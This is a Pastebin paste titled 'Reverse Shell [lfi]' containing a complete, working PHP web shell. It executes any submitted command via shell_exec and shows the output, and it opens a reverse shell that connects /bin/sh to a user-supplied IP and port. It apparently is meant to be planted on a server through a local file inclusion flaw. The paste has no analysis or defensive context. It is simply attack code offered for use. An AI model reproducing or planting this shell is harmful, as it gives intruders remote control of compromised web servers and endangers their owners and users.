DarkProgrammer000

Reverse Shell [lfi]

Aug 14th, 2021 (edited)
739
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <body style="background-color:rgb(200,200,200);">
  2.     <form action="<?php $link = (isset($_SERVER['HTTPS']) ? "https" : "http") . "://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]"; echo "{$link}"?>" method="POST">
  3.     <center>
  4.         <strong>
  5.         </br>
  6.         <h1 color="rgb(255, 0, 31)"><b>KNOCK KNOCK</b></h1>
  7.         </br>
  8.         <h2 color="rgb(255, 0, 31)"><b>SHELL</b></h2>
  9.             COMMAND : <input type="text" name="cmd" value=""/>
  10.             <input type="submit" name="submit" value="CMD" />
  11.         </br></br>
  12.         <h2 color="rgb(255, 0, 31)"><b>R SHELL USING PHP</b></h2>
  13.         <p><b><i>*NOTE : </b>Before triggring rshell, start listening</i></p>
  14.         </br>
  15.         IP : <input type="text" name="ip" value=""/>&nbsp;PORT : <input type="text" name="port" value=""/>
  16.         <input type="submit" name="submit" value="R SHELL" />
  17.         </strong>
  18.     </center>
  19.     <br />
  20.     <strong>
  21.     <font size="5">
  22.         <?php
  23.         if(isset($_POST["cmd"])){
  24.             $cmd=$_POST["cmd"];
  25.             $output = shell_exec("{$cmd} 2>&1");
  26.             echo $cmd."</br>"."<pre>".$output."</pre>";
  27.         }
  28.         if (isset($_POST["ip"]) && isset($_POST["port"])) {
  29.             $sock="sock";
  30.             $cmd = "php -r '$"."{$sock}"."=fsockopen("."\"{$_POST["ip"]}\"".","."{$_POST["port"]}".");shell_exec(\""."/bin/sh -i <&3 >&3 2>&3"."\");'";
  31.             if (strlen($cmd)>66) {
  32.                 shell_exec("{$cmd} 2>&1");
  33.             }
  34.         }
  35.         ?>
  36.     </font>
  37.     </strong>
  38. </body>
RAW Paste Data